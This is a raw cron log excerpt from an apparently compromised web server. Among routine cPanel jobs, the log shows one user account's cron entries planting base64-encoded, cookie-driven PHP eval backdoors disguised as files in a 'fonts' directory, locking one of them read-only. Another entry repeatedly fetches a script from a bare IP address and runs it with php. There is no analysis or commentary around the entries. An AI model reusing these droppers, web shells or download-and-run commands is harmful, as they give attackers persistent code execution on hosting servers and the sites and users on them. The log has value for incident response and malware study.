Sep  1 10:13:01 ip-184-168-122-23 CROND[3132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:14:01 ip-184-168-122-23 CROND[3264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:14:01 ip-184-168-122-23 CROND[3265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:14:01 ip-184-168-122-23 CROND[3266]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:14:01 ip-184-168-122-23 CROND[3269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:14:01 ip-184-168-122-23 CROND[3271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:15:02 ip-184-168-122-23 CROND[3387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:15:02 ip-184-168-122-23 CROND[3389]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 10:15:02 ip-184-168-122-23 CROND[3388]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:15:02 ip-184-168-122-23 CROND[3391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:15:02 ip-184-168-122-23 CROND[3395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:15:02 ip-184-168-122-23 CROND[3393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:15:02 ip-184-168-122-23 CROND[3397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:16:01 ip-184-168-122-23 CROND[3525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:16:01 ip-184-168-122-23 CROND[3524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:16:01 ip-184-168-122-23 CROND[3526]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:16:01 ip-184-168-122-23 CROND[3527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:16:01 ip-184-168-122-23 CROND[3534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:16:01 ip-184-168-122-23 CROND[3532]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 10:17:02 ip-184-168-122-23 CROND[3636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:17:02 ip-184-168-122-23 CROND[3638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:17:02 ip-184-168-122-23 CROND[3640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:17:02 ip-184-168-122-23 CROND[3639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:18:01 ip-184-168-122-23 CROND[3861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:18:01 ip-184-168-122-23 CROND[3864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:18:01 ip-184-168-122-23 CROND[3863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:18:01 ip-184-168-122-23 CROND[3865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:18:01 ip-184-168-122-23 CROND[3866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:19:01 ip-184-168-122-23 CROND[3990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:19:01 ip-184-168-122-23 CROND[3992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:19:01 ip-184-168-122-23 CROND[3993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:19:01 ip-184-168-122-23 CROND[3994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:20:02 ip-184-168-122-23 CROND[4137]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 10:20:02 ip-184-168-122-23 CROND[4139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:20:02 ip-184-168-122-23 CROND[4141]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 10:20:02 ip-184-168-122-23 CROND[4143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:20:02 ip-184-168-122-23 CROND[4144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:20:02 ip-184-168-122-23 CROND[4142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:20:02 ip-184-168-122-23 CROND[4145]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:20:02 ip-184-168-122-23 CROND[4140]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:20:02 ip-184-168-122-23 CROND[4146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:21:01 ip-184-168-122-23 CROND[4252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:21:01 ip-184-168-122-23 CROND[4255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:21:01 ip-184-168-122-23 CROND[4256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:21:01 ip-184-168-122-23 CROND[4259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:22:01 ip-184-168-122-23 CROND[4375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:22:01 ip-184-168-122-23 CROND[4377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:22:01 ip-184-168-122-23 CROND[4380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:22:01 ip-184-168-122-23 CROND[4381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:22:01 ip-184-168-122-23 CROND[4379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:23:01 ip-184-168-122-23 CROND[4637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:23:01 ip-184-168-122-23 CROND[4640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:23:01 ip-184-168-122-23 CROND[4638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:23:01 ip-184-168-122-23 CROND[4639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:24:01 ip-184-168-122-23 CROND[4772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:24:01 ip-184-168-122-23 CROND[4773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:24:01 ip-184-168-122-23 CROND[4776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:24:01 ip-184-168-122-23 CROND[4778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:24:01 ip-184-168-122-23 CROND[4775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:25:01 ip-184-168-122-23 CROND[4878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:25:01 ip-184-168-122-23 CROND[4883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:25:01 ip-184-168-122-23 CROND[4885]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:25:01 ip-184-168-122-23 CROND[4882]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 10:25:01 ip-184-168-122-23 CROND[4880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
